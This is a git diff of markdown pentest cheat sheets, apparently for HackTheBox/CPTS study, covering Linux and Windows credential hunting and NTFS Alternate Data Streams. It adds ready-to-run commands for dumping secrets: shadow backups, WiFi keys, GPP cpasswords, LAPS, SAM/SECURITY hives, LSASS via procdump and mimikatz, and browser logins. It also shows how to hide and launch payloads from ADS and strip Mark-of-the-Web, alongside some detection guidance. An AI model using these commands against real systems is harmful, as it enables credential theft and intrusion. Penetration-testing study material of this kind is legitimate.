'*.tfstate.backup' \) 2>/dev/null +grep -EiA2 '"(password|secret|access_key|secret_key|token|private_key)"' terraform.tfstate 2>/dev/null +find / \( -name '*.tfvars' -o -name '.terraformrc' -o -name 'credentials.tfrc.json' \) 2>/dev/null +``` + +### Network & service credentials +```bash +# NetworkManager saved Wi-Fi / 802.1x (root-only, 0600) +grep -rE 'psk=|password=' /etc/NetworkManager/system-connections/ 2>/dev/null +nmcli -s -g 802-11-wireless-security.psk connection show <name> 2>/dev/null +cat /etc/wpa_supplicant/*.conf 2>/dev/null # psk= for wpa_supplicant setups + +# SNMP community strings (an RW string often = full device control) +grep -rEi 'community|rocommunity|rwcommunity|com2sec' /etc/snmp/*.conf 2>/dev/null +``` + +### Mail spools, PHP sessions & backups +```bash +# Local mail — password-reset mails, cron output, app notifications +ls -la /var/mail /var/spool/mail 2>/dev/null +cat /var/mail/* /var/spool/mail/* 2>/dev/null + +# PHP session files can hold auth state / plaintext values +ls -la /var/lib/php/sessions/ /var/lib/php*/sessions/ 2>/dev/null; ls -la /tmp/sess_* 2>/dev/null +grep -rliE 'pass|user|token|admin' /var/lib/php/sessions/ /tmp 2>/dev/null + +# Debian backs up the account DB here — shadow.bak is a classic privesc win +ls -la /var/backups/ 2>/dev/null +cat /var/backups/shadow.bak /var/backups/passwd.bak 2>/dev/null +``` + +> **Tip —** if `/var/backups/shadow.bak` is group/other-readable, `unshadow /etc/passwd shadow.bak > hashes.txt` then crack with hashcat `-m 1800` — no root needed to read the copy. + --- ## Phase 5 — Runtime & Memory @@ -144,6 +242,34 @@ cat /etc/fstab 2>/dev/null; grep -rl 'credentials=' /etc 2>/dev/null ps auxww | grep -iE 'pass|token|-p ' 2>/dev/null ``` +### Attach to a live tmux / screen session +```bash +# A detached session left by a privileged user = instant shell as them +screen -ls # your own sessions +ls -la /run/screen/ /var/run/screen/ /tmp/screens/ 2>/dev/null # other users' sockets: S-<user> +screen -x # attach to a multiuser/attached screen +screen -r <pid.tty.host> # reattach a named session + +# tmux sockets live under /tmp/tmux-<uid>/ +ls -la /tmp/tmux-*/ 2>/dev/null +tmux -S /tmp/tmux-0/default ls # list uid-0 (root) sessions if the socket is readable +tmux -S /tmp/tmux-0/default attach # attach -> shell as that user +``` + +> **Warning —** you can only attach to a socket you can read/write: you already run as that user, the perms are loose, or you share its group. This cashes in a session someone left exposed; it does not by itself cross a privilege boundary. + +### Logs & journal (creds passed as args) +```bash +# systemd journal — services and cron sometimes log full command lines +journalctl 2>/dev/null | grep -iE 'password|passwd|token|secret|key=' +journalctl _COMM=sudo 2>/dev/null # sudo usage; mistyped passwords can land in auth.log + +# Classic text logs +grep -rniE 'password|passwd=|token|secret' /var/log/ 2>/dev/null +``` + +> **Tip —** to catch a cron job or script that passes a password as an argument *as it runs*, watch live with `pspy` (Phase 6) — the cred flashes in the process args even if it never touches disk. + --- ## Phase 6 — Automated Tools @@ -155,6 +281,7 @@ ps auxww | grep -iE 'pass|token|-p ' 2>/dev/null | **LaZagne** | `./laZagne.py all` | Dumps browser/mail/wifi/db creds | | **pspy** | `./pspy64` | Watch cron/processes for creds passed as args | | **deepce** | `./deepce.sh` | Docker/container escape enum | +| **unix-privesc-check** | `./unix-privesc-check standard` | pentestmonkey script; flags weak perms on cred/config files | ```bash # Run linpeas without touching disk @@ -173,6 +300,13 @@ curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.s - [ ] SUID binaries → check GTFOBins - [ ] Cron jobs running writable scripts - [ ] Reused passwords across users (`su` / DB / service) +- [ ] `~/.kube/config` / `/var/run/secrets/.../token` → cluster access +- [ ] tmux/screen socket left by root (`/tmp/tmux-*`, `/run/screen/`) → attach +- [ ] `/var/backups/shadow.bak` readable? → `unshadow` + hashcat `-m 1800` +- [ ] Jenkins `credentials.xml` + `secrets/master.key` + `hudson.util.Secret` +- [ ] `terraform.tfstate` plaintext / Ansible Vault + `.vault_pass` +- [ ] `~/.npmrc` `_authToken`, `ghp_`/`glpat-` PATs, `~/.config/gh/hosts.yml` +- [ ] NetworkManager `psk=` / SNMP `rwcommunity` --- @@ -181,3 +315,6 @@ curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.s * **Windows Credential & Flag Hunting** — same job on Windows / Evil-WinRM * **Hashcat** — crack the hashes you recover (`-m 1800` sha512crypt, `-m 500` md5crypt) * **John the Ripper** — `unshadow` + crack `/etc/shadow` +* [Linux Privilege Escalation](/sheets/privilege-escalation/linux-privesc) — SUID, cron, capabilities and GTFOBins follow-ups on what you find here +* [Lateral Movement, Pivoting & Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) — pivot outward with recovered keys/creds +* [Credential Hunting](/sheets/enumeration/credential-hunting) — pre-auth / external credential discovery diff --git a/src/content/sheets/password-attacks/windows-credential-flag-hunting.md b/src/content/sheets/password-attacks/windows-credential-flag-hunting.md @@ -3,10 +3,10 @@ title: "Windows Credential & Flag Hunting" description: "Find flags, passwords and secrets on Windows — CMD vs PowerShell (Evil-WinRM) syntax, config/registry secrets, PS history, and automated tools." category: password-attacks subcategory: "Credential & Flag Hunting" -tags: [windows, powershell, evil-winrm, credentials, flags, post-exploitation] -tools: [PowerShell, cmd, Evil-WinRM, WinPEAS, Snaffler, LaZagne] +tags: [windows, powershell, evil-winrm, credentials, flags, post-exploitation, dpapi, mimikatz, laps, gpp, lsass] +tools: [PowerShell, cmd, Evil-WinRM, WinPEAS, Snaffler, LaZagne, mimikatz, SharpDPAPI, SharpChrome, secretsdump, pypykatz, procdump, netexec] difficulty: intermediate -updated: "2026-09-14" +updated: "2026-09-25" source: "repo:Password-Attacks/windows-credential-flag-hunting.md" --- @@ -132,6 +132,26 @@ type C:\Windows\System32\Sysprep\sysprep.xml 2>$null gci \\<DC>\SYSVOL -Recurse -Include Groups.xml,Services.xml,ScheduledTasks.xml -EA 0 ``` +### GPP passwords in SYSVOL (`cpassword`) + +Group Policy Preferences stored local-account passwords as `cpassword` in SYSVOL XML, AES-encrypted with a **public** static key — any authenticated domain user can decrypt them. Complements the `\\<DC>\SYSVOL` find above. + +```powershell +# On a domain-joined host (PowerSploit) — auto-finds + decrypts all GPP cpasswords +Get-GPPPassword + +# Manual: grep SYSVOL for the encrypted blob +findstr /S /I cPassword \\<domain>\SYSVOL\<domain>\Policies\*.xml +``` +```bash +# Remote from Linux (no domain join needed) +Get-GPPPassword.py '<domain>/<user>:<pass>@<DC>' +nxc smb <DC> -u <user> -p '<pass>' -M gpp_password +gpp-decrypt '<cpassword_value>' +``` + +> **Note —** MS14-025 blocked *creating* new GPP passwords, but existing ones were never purged. Full walkthrough: /sheets/active-directory/attack-48-gpp-password-decryption + ### PowerShell & CMD history (very commonly holds passwords) ```powershell # PSReadLine history file — per user, survives reboots @@ -149,6 +169,51 @@ gci C:\inetpub\wwwroot -Recurse -Include web.config,appsettings.json,*.config -E type C:\Windows\System32\inetsrv\config\applicationHost.config 2>$null ``` +### Windows Credential Manager & Vault + +`cmdkey /list` (above) shows *targets* but never the secret. To enumerate and decrypt the stored blobs: + +```powershell +# Enumerate stored credentials (targets only — no plaintext returned) +vaultcmd /list +vaultcmd /listcreds:"Windows Credentials" /all +vaultcmd /listcreds:"Web Credentials" /all + +# Web Credentials plaintext for the CURRENT user (WinRT PasswordVault) +[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] +$v = New-Object Windows.Security.Credentials.PasswordVault +$v.RetrieveAll() | % { $_.RetrievePassword(); '{0} {1} {2}' -f $_.Resource,$_.UserName,$_.Password } + +# Third-party module (needs: Install-Module CredentialManager) +Get-StoredCredential -Target TERMSRV/<host> +(Get-StoredCredential -Target 'git:https://github.com').GetNetworkCredential().Password +``` +```text +# Decrypt Credential Manager / Vault blobs via DPAPI (current-user context) +SharpDPAPI.exe credentials +SharpDPAPI.exe vaults +``` + +> **Note —** `vaultcmd` lists targets only; the passwords are DPAPI-protected under `%APPDATA%\Microsoft\Credentials\` and `%LOCALAPPDATA%\Microsoft\Credentials\`, decryptable only in the owning user's context or with their masterkey (see DPAPI in Phase 5). + +### WiFi saved keys (`netsh wlan`) + +```cmd +netsh wlan show profiles +netsh wlan show profile name="<SSID>" key=clear :: look for the "Key Content" line + +:: Dump every saved profile's PSK in one pass +for /f "tokens=2 delims=:" %a in ('netsh wlan show profiles ^| findstr "All User Profile"') do @netsh wlan show profile name="%~a" key=clear ^| findstr /C:"SSID name" /C:"Key Content" +``` +```powershell +netsh wlan show profiles | Select-String ':\s(.+)$' | % { + $ssid = $_.Matches.Groups[1].Value.Trim() + netsh wlan show profile name="$ssid" key=clear | Select-String 'SSID name|Key Content' +} +``` + +> **Note —** `key=clear` needs local admin (or the profile's owning user). Without it the PSK shows as `Present` but redacted. + ### Registry secrets ```powershell # Autologon plaintext password @@ -162,6 +227,24 @@ reg query HKLM /f password /t REG_SZ /s 2>$null reg query HKCU /f password /t REG_SZ /s 2>$null ``` +### Saved-session managers (PuTTY / WinSCP / RDP) + +```powershell +# PuTTY — the PROXY password is stored in CLEARTEXT in the registry +reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr /I "HostName UserName ProxyPassword ProxyUsername" + +# WinSCP — sessions in the registry (or WinSCP.ini for portable installs) +reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s +type "$env:APPDATA\WinSCP.ini" 2>$null # portable installs; installed WinSCP keeps sessions in the registry (above) +``` +```text +# WinSCP OBFUSCATES (does not encrypt) the password unless a master password is set — +# feed HostName + UserName + the stored Password to a public decoder: +# msf6 > use post/windows/gather/credentials/winscp # against a live host +``` + +> **Note —** `.rdp` files (grabbed in the keys/vaults sweep) hold the server + username only; the RDP password is a DPAPI blob in Credential Manager (`cmdkey`), not in the file. A WinSCP session protected with a **master password** cannot be trivially decoded — capture it interactively instead. + ### Keys, vaults, and databases ```powershell gci C:\ -Recurse -Include *.kdbx,*.ppk,*.pem,id_rsa -EA 0 # KeePass / PuTTY / SSH keys @@ -199,6 +282,29 @@ john hash.txt # or: hashcat -m 13400 hash.txt wordlist.txt ``` +### LAPS — read managed local-admin password + +If your foothold user can read the LAPS attribute (ACL or delegated group), the managed local-admin password sits in cleartext in AD (`ms-Mcs-AdmPwd` for v1; `msLAPS-Password` / `msLAPS-EncryptedPassword` for v2). + +```powershell +# Native RSAT / LAPS module +Get-ADComputer <TARGET> -Properties ms-Mcs-AdmPwd | Select Name,ms-Mcs-AdmPwd +Get-LapsADPassword -Identity <TARGET> -AsPlainText # LAPS v2 module + +# PowerView +Get-DomainComputer <TARGET> -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime +``` +```bash +# NetExec +nxc ldap <DC> -u <user> -p '<pass>' --module laps +nxc smb <DC> -u <user> -p '<pass>' --laps +# ldapsearch +ldapsearch -x -H ldap://<DC> -D '<user>@<domain>' -w '<pass>' \ + -b 'DC=<dc>,DC=<tld>' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd +``` + +> **Note —** LAPS v2 encrypts the password blob (`msLAPS-EncryptedPassword`) — decrypt with `Get-LapsADPassword` or NetExec. Full technique: /sheets/active-directory/attack-72-laps-password-extraction + --- ## Phase 5 — SAM / LSASS / DPAPI (local admin required) @@ -218,6 +324,56 @@ rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C: > **Note —** These need local Administrator / SeDebugPrivilege and are noisy (Defender flags LSASS access). For a stealthier route dump remotely with `nxc smb <host> -u u -p p --sam --lsa`. +### Full hive triage (SAM + SYSTEM + SECURITY) + +Grab the **SECURITY** hive alongside SAM + SYSTEM — it holds LSA secrets (service-account plaintext, DPAPI machine key, `$MACHINE.ACC`) and cached domain logons (MSCACHEv2 / DCC2). + +```cmd +reg save HKLM\SAM C:\Windows\Temp\sam.save +reg save HKLM\SYSTEM C:\Windows\Temp\system.save +reg save HKLM\SECURITY C:\Windows\Temp\security.save +``` +```bash +# Offline — local SAM hashes + LSA secrets + cached DCC2 hashes +impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL +# Cached domain creds crack as: hashcat -m 2100 '$DCC2$...' wordlist +``` + +> **Note —** LSA secrets frequently contain service-account **cleartext** passwords (`_SC_<svc>`, `DefaultPassword`); cached logons (`NL$KM` -> DCC2) only crack offline and are slow (`-m 2100`), never pass-the-hash. + +### LSASS dump alternatives & DPAPI / browser secrets + +```cmd +:: procdump (Sysinternals, signed) — alternative to the comsvcs.dll MiniDump above +procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp +:: dump by PID if the process name is filtered +procdump64.exe -accepteula -ma <lsass_pid> C:\Windows\Temp\lsass.dmp +``` +```text +# Parse the dump offline +pypykatz lsa minidump C:\Windows\Temp\lsass.dmp + +# DPAPI masterkeys -> decrypt Credential Manager / Vault / browser blobs (mimikatz) +privilege::debug +sekurlsa::dpapi # cached masterkeys straight from LSASS +dpapi::masterkey /in:%APPDATA%\Microsoft\Protect\<SID>\<GUID> /sid:<SID> /password:<userpw> +dpapi::masterkey /in:<masterkey> /rpc # or decrypt via the DA domain backup key +dpapi::cred /in:%APPDATA%\Microsoft\Credentials\<GUID> + +# SharpDPAPI — one-shot triage of the current user's DPAPI-protected secrets +SharpDPAPI.exe triage +SharpDPAPI.exe backupkey /nowrap # on a DC as Domain Admin -> domain DPAPI key + +# Browser saved logins / cookies (Chrome + Chromium Edge) +SharpChrome.exe logins +SharpChrome.exe cookies +lazagne.exe browsers +``` + +> **Note —** Chrome/Edge **127+** wrap the `Local State` AES key with App-Bound Encryption; offline SharpChrome/LaZagne may return empty for newer profiles — run in the victim's session or use an ABE-aware tool. Browser DBs live at `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data` plus `...\Local State`. + +> **Note —** DPAPI + certificate theft in depth: /sheets/active-directory/theft2-user-certificate-theft-via-dpapi and /sheets/active-directory/mimikatz + --- ## Phase 6 — Automated Tools @@ -276,6 +432,7 @@ $si = New-Object System.Diagnostics.ProcessStartInfo $si.FileName = 'powershell.exe' $si.UserName = 'targetuser'; $si.Domain = 'DOMAIN' $si.Password = $pass +$si.UseShellExecute = $false # REQUIRED — Start() throws if this is left $true with explicit creds [System.Diagnostics.Process]::Start($si) # Remote session / lateral movement as that user (WinRM must be enabled on target) @@ -301,6 +458,12 @@ Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami /all - [ ] SYSVOL `Groups.xml` GPP `cpassword` (→ `gpp-decrypt`) - [ ] `.kdbx` KeePass, `.ppk`/`id_rsa` keys, `.rdp` profiles - [ ] `reg query HKLM /f password /t REG_SZ /s` +- [ ] `vaultcmd /list` + `SharpDPAPI.exe credentials` — Credential Manager / Vault secrets +- [ ] `netsh wlan show profile name="<SSID>" key=clear` — saved WiFi PSKs +- [ ] LAPS `ms-Mcs-AdmPwd` read (RSAT / PowerView / `nxc --laps`) +- [ ] SECURITY hive -> LSA secrets + cached domain creds (`secretsdump … -security`) +- [ ] `SharpChrome.exe logins` / `lazagne.exe browsers` — browser saved logins +- [ ] PuTTY `ProxyPassword` (cleartext) / WinSCP saved sessions --- @@ -309,3 +472,10 @@ Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami /all * **Linux Credential & Flag Hunting** — same job on Linux * **Kerberoasting** / **AS-REP Roasting** — turn a domain foothold into crackable hashes * **Hashcat** — crack recovered hashes (`-m 1000` NTLM, `-m 5600` NetNTLMv2) +* **Windows Privilege Escalation** — /sheets/privilege-escalation/windows-privesc +* **Mimikatz** — /sheets/active-directory/mimikatz — DPAPI, LSASS and vault extraction +* **LAPS password extraction** — /sheets/active-directory/attack-72-laps-password-extraction +* **GPP password decryption** — /sheets/active-directory/attack-48-gpp-password-decryption +* **DPAPI certificate theft** — /sheets/active-directory/theft2-user-certificate-theft-via-dpapi +* **NetExec** — /sheets/active-directory/netexec — remote `--sam` / `--lsa` / `--laps` dumping +* **Run as another user from Evil-WinRM** — /sheets/active-directory/run-as-another-user-from-evil-winrm diff --git a/src/content/sheets/pentest-workflow/alternate-data-streams-guide.md b/src/content/sheets/pentest-workflow/alternate-data-streams-guide.md @@ -4,14 +4,14 @@ description: "Windows NTFS Alternate Data Streams (ADS): what they are, reading category: pentest-workflow subcategory: "Companion Guides" order: 26 -tags: ["htb", "cpts", "windows", "ads", "alternate-data-streams", "ntfs", "mark-of-the-web", "forensics", "pentest-workflow"] -tools: ["streams.exe"] +tags: ["htb", "cpts", "windows", "ads", "alternate-data-streams", "ntfs", "mark-of-the-web", "forensics", "pentest-workflow", "motw", "zone-identifier", "lolbin", "sysmon", "defense-evasion"] +tools: ["streams.exe", "streams64.exe", "wmic", "forfiles"] difficulty: intermediate -updated: "2026-09-17" +updated: "2026-09-25" source: "vault:NTFS ADS tradecraft" --- -[← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/windows-privesc-cpts) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [← Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) +[← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/privilege-escalation) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [← Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) # NTFS Alternate Data Streams — Hiding & Finding Hidden Data `ris:FileList` @@ -69,11 +69,11 @@ Add `/s` to walk every subdirectory instead of checking one folder at a time — :: Every file, every subfolder, streams and all — a whole profile in one command dir /s /r C:\Users\Administrator -:: Narrow the noise: only lines that mention a stream -dir /s /r C:\Users\Administrator | findstr /R /C:":.*\$DATA$" | findstr /V /C:"::\$DATA" +:: Narrow the noise: only the indented stream lines out of the full listing +dir /s /r C:\Users\Administrator | findstr /R /C:":.*\$DATA$" ``` -The `findstr` filter matters at scale: every file has its own unnamed `::$DATA` stream, and `dir /r` prints that for **every single file** — the second `findstr /V` drops those so only genuinely *named* streams (the interesting ones) survive. +`dir /r` only lists **named** streams (the file's own content is the unnamed `::$DATA` default stream and is *not* printed as a separate line), so the single `findstr` above — regex mode, `\$` escaping the literal `$` and the trailing `$` anchoring end-of-line — keeps just the `file:streamname:$DATA` lines and drops the ordinary directory chatter. No second filter is needed. > [!warning]+ `dir /s /r` is loud and can be slow on a big tree > `fas:TriangleExclamation` @@ -94,6 +94,15 @@ Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue | ForEach-Ob The `Select-Object` at the end is the difference between a readable table (`FileName`, `Stream`, `Length`) and a wall of default property dumps — worth keeping when you're sweeping anything bigger than a single directory. +```powershell +# Shorthand of the same sweep with the standard aliases (gci/%/?) — quick to type at a prompt +gci C:\Users -Recurse -File -ErrorAction SilentlyContinue | + % { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } | + ? Stream -ne ':$DATA' | Select FileName, Stream, Length +``` + +`-File` keeps `Get-Item -Stream *` off directories (which can carry streams of their own and throw on the pipe); the fuller form above is the one to script, this is the one to fire from muscle memory. + ### Sysinternals `streams.exe` — purpose-built, no scripting needed ```batch @@ -142,6 +151,20 @@ notepad C:\Windows\Temp\notes.txt:hidden > `fas:TriangleExclamation` > `more C:\path\file.txt:stream` (no `<`) fails; `type file.txt:stream` also fails on most builds. The reliable cmd form is `more < "path:stream"`, using input redirection rather than passing the ADS path as a normal argument. +`more <` handles cmd; for a binary payload staged in a stream, PowerShell reads the bytes back out — but the byte switch was renamed between versions, so pin the right one: + +```powershell +# Windows PowerShell 5.1 (default on most targets) — byte-exact extract +Get-Content C:\Windows\Temp\log.txt -Stream g.exe -Encoding Byte -Raw | + Set-Content C:\Windows\Temp\g.exe -Encoding Byte + +# PowerShell 7+ renamed the switch to -AsByteStream (-Encoding Byte errors there) +Get-Content C:\Windows\Temp\log.txt -Stream g.exe -AsByteStream -Raw | + Set-Content C:\Windows\Temp\g.exe -AsByteStream +``` + +Check `$PSVersionTable.PSVersion` first — mixing the two switches is the usual reason a binary extract comes out empty or mangled. For text, plain `Get-Content -Stream <name>` (already shown above) is enough. + --- ## Finding hidden data — a worked example @@ -223,6 +246,34 @@ Set-Content -Path C:\Windows\Temp\notes.txt -Stream stash -Value 'secret-loot-he > ``` > Script and DLL loaders (`powershell`, `wscript`/`cscript`, `rundll32`, `regsvr32`) can still be *fed* from a stream via LOLBINs, but the reliable, portable pattern is stage-in-stream → extract → run. See the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) for what to do once you're running as SYSTEM. +### Executing from a stream — legacy vectors + +The reliable path is still stage-in-stream → extract → run (shown in the warning above). The commands below are the older launch vectors people reach for — worth recognising, mostly hardened out now: + +```batch +:: Stage a binary into a stream on a bait file first +type C:\Tools\evil.exe > "C:\Temp\bait.txt:evil.exe" + +:: --- Legacy image-launch vectors: historically ran the ADS as a process. --- +:: --- Blocked by modern CreateProcess hardening; kept here for recognition. --- +wmic process call create "C:\Temp\bait.txt:evil.exe" :: wmic is also deprecated/removed on recent Win11 +forfiles /p C:\Temp /m bait.txt /c "cmd /c @path:evil.exe" :: historically cited; @path quoting makes it finicky — and CreateProcess blocks it anyway +``` + +> [!warning]+ These launch an *image* from a stream — the thing modern Windows kills +> `fas:TriangleExclamation` +> `wmic process call create` and `forfiles` both ultimately hit `CreateProcess` against the ADS image, which current builds refuse — the same block described above for `start`/`Start-Process`. On top of that `wmic` is deprecated and no longer present on recent Windows 11. Treat both as *legacy/CTF-era*; on a modern target fall back to the extract-then-run pattern. What still works is feeding a **content** loader that opens the stream and runs what it reads (the image is never executed directly): +> ```batch +> :: PowerShell reads the script text out of the stream and runs it — reliable +> powershell -ep bypass -c "IEX (Get-Content C:\Temp\bait.txt -Stream payload -Raw)" +> ``` +> ```batch +> :: WSH / DLL script loaders fed from a stream (LOLBIN, version- and AV-dependent) +> wscript //e:vbscript C:\Temp\bait.txt:payload.vbs +> rundll32 C:\Temp\bait.txt:payload.dll,EntryPoint +> ``` +> These survive the image-exec block because the interpreter/loader opens the file itself; they are still noisy and increasingly signatured. See the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) for what to run once you're SYSTEM. + --- ## Mark-of-the-Web — the ADS you meet every engagement @@ -244,6 +295,47 @@ Unblock-File .\PrintSpoofer64.exe certutil -urlcache -f http://10.10.14.3/PrintSpoofer64.exe C:\Windows\Temp\ps.exe ``` +Zone.Identifier is a plain-text INI stream. Find and read it exactly like any other ADS: + +```batch +:: dir /r shows the MOTW stream by name on a downloaded file +dir /r .\PrintSpoofer64.exe +:: ... :Zone.Identifier:$DATA appears beside it + +:: Read it from cmd (input redirect, same rule as any stream) +more < "PrintSpoofer64.exe:Zone.Identifier" +``` + +Typical contents — `ZoneId` is what SmartScreen/Defender act on; `ReferrerUrl`/`HostUrl` are recorded by many downloaders and are the blue-team/OSINT prize: + +```ini +[ZoneTransfer] +ZoneId=3 +ReferrerUrl=https://example.com/downloads/ +HostUrl=https://cdn.example.com/PrintSpoofer64.exe +``` + +| ZoneId | Zone | Treated as | +|---|---|---| +| `0` | Local machine | Trusted | +| `1` | Local intranet | Mostly trusted | +| `2` | Trusted sites | Trusted | +| `3` | Internet | **Marked / restricted** — SmartScreen + Defender kick in | +| `4` | Restricted sites | Most restricted | + +Anything `ZoneId=3` or `4` is "from the internet" and carries the mark. Bulk operations: + +```powershell +# Check presence without dumping content +Get-Item .\PrintSpoofer64.exe -Stream Zone.Identifier -ErrorAction SilentlyContinue + +# Strip MOTW from an entire dropped toolkit at once +Get-ChildItem .\loot -Recurse -File | Unblock-File + +# (Testing SmartScreen/Defender behaviour) put a mark back on a file +Set-Content -Path .\test.exe -Stream Zone.Identifier -Value "[ZoneTransfer]`r`nZoneId=3" +``` + --- ## Removing a stream @@ -258,6 +350,18 @@ Remove-Item C:\Windows\Temp\notes.txt -Stream stash :: filesystem (copy off to FAT/exFAT and back) strips every stream at once. ``` +Sysinternals `streams.exe` is the cmd-side answer — it deletes streams in place: + +```batch +:: Delete every stream from one file, keep the file (Sysinternals streams.exe) +streams.exe -nobanner -d C:\Windows\Temp\notes.txt + +:: Recursively strip streams from a whole tree — cleanup / defensive scrub +streams.exe -nobanner -s -d C:\Users\Public +``` + +`-d` deletes; add `-s` to recurse. Unlike `Remove-Item -Stream <name>`, `streams -d` removes *all* named streams on the target(s) — precise for cleanup, blunt if you only meant to drop one. + --- ## Detection, OPSEC & cleanup `fas:Shield` @@ -279,6 +383,25 @@ Remove-Item C:\Windows\Temp\notes.txt -Stream stash - ADS defeats a plain `dir` and a size check, not a defender who runs `dir /r` / `streams.exe` — treat it as *reduces casual visibility*, not *invisible*. - Sysmon Event 15 logs stream creation by hash on a well-instrumented estate; don't assume staging in a stream is silent there. +**Hunting for hidden streams (blue team / IR):** + +```powershell +# Host sweep for every NAMED stream, skipping the default ::$DATA and benign MOTW +Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | + ForEach-Object { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } | + Where-Object { $_.Stream -ne ':$DATA' -and $_.Stream -ne 'Zone.Identifier' } | + Select-Object FileName, Stream, Length +``` + +```batch +:: Same idea with Sysinternals — streams takes ONE path per call, so loop for several +for %d in (C:\Users C:\ProgramData C:\Windows\Temp) do streams.exe -nobanner -s %d +``` + +> [!tip]+ What Event 15 does and doesn't catch +> `fas:Lightbulb` +> Sysmon Event 15 (`FileCreateStreamHash`) fires on stream **creation** and hashes the new stream — but only for paths/extensions the config actually scopes in, and it says nothing about a stream being **read**. So staging into a stream can be logged; digging a flag *out* of one usually isn't, at the file-event layer. The enumeration and read still surface in command-line logging (Sysmon Event 1) and PowerShell script-block logging — that's where `dir /r`, `Get-Item -Stream *`, `streams.exe`, and `Get-Content -Stream` show up. Pair Event 15 with those two for real coverage. + **Cleanup checklist:** ```powershell @@ -293,7 +416,10 @@ Remove-Item C:\Windows\Temp\notes.txt -Stream stash -ErrorAction SilentlyContinu | Topic | Source | |---|---| | NTFS ADS / Mark-of-the-Web | [MITRE ATT&CK T1564.004](https://attack.mitre.org/techniques/T1564/004/) · [Sysinternals streams](https://learn.microsoft.com/sysinternals/downloads/streams) | +| Executing from ADS (LOLBIN loaders) | [LOLBAS project](https://lolbas-project.github.io/) · [MITRE T1218](https://attack.mitre.org/techniques/T1218/) | +| Mark-of-the-Web / Zone.Identifier | [Microsoft — About URL security zones](https://learn.microsoft.com/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537183(v=vs.85)) · [Unblock-File](https://learn.microsoft.com/powershell/module/microsoft.powershell.utility/unblock-file) | +| Detecting ADS (Sysmon Event 15) | [Sysmon FileCreateStreamHash](https://learn.microsoft.com/sysinternals/downloads/sysmon#event-id-15-filecreatestreamhash) | --- -[← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/windows-privesc-cpts) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [← Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) +[← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/privilege-escalation) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [← Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) diff --git a/src/content/sheets/pentest-workflow/attacking-common-applications-guide.md b/src/content/sheets/pentest-workflow/attacking-common-applications-guide.md @@ -11,7 +11,7 @@ updated: "2026-09-15" source: "vault:HackTheBox/Academy/CPTS Path/24-Attacking-Common-Applications" --- -[← Condensed cheat sheet](/sheets/pentest-workflow/attacking-common-applications) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Web enum deep-dive](/sheets/pentest-workflow/web-enumeration-and-exploitation) +[← Condensed cheat sheet](/sheets/pentest-workflow/attacking-common-applications) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive](/sheets/pentest-workflow/web-enumeration-and-exploitation) # Attacking Common Applications — Full Guide `fas:ClipboardList` @@ -57,7 +57,7 @@ Every target in this module answers to the same loop, so learn the loop rather t > - **PHP** (WordPress, Joomla, Drupal, osTicket): drop [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) or a one-line `system($_GET[...])`. > - **JSP** (Tomcat, ColdFusion-on-Java): package [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) as a WAR. > - **ASP/ASPX** (IIS): VBScript → `.asp`, C# → `.aspx`. Cross the wires and IIS answers `Server Error in '/' Application`. -> - **Windows app host** (IIS, PRTG, Jenkins-on-Windows, ColdFusion): [Windows PrivEsc](/sheets/pentest-workflow/windows-privesc-cpts) — service accounts here almost always hold `SeImpersonatePrivilege`. +> - **Windows app host** (IIS, PRTG, Jenkins-on-Windows, ColdFusion): [Windows PrivEsc](/sheets/pentest-workflow/privilege-escalation) — service accounts here almost always hold `SeImpersonatePrivilege`. > - **Linux app host** (WordPress, Drupal, GitLab, Splunk, CGI): [Linux PrivEsc](/sheets/pentest-workflow/linux-privesc-cpts). > Full shell catalogue and handler notes: [Web Shells](/sheets/pentest-workflow/web-shells). @@ -1176,7 +1176,7 @@ Three narrative labs against dynamically spawned INLANEFREIGHT targets. There ar 1. **Version is the whole game.** Every CVE here is gated on an exact version — pull it from the generator meta, `CHANGELOG.txt`, `joomla.xml`, `/docs`, or a favicon hash *before* you pick an exploit. 2. **Admin console ≈ RCE.** Theme/template editors, the Jenkins Script Console, Tomcat Manager, Splunk apps, PRTG notifications — default creds plus a short spray reach them more often than a CVE 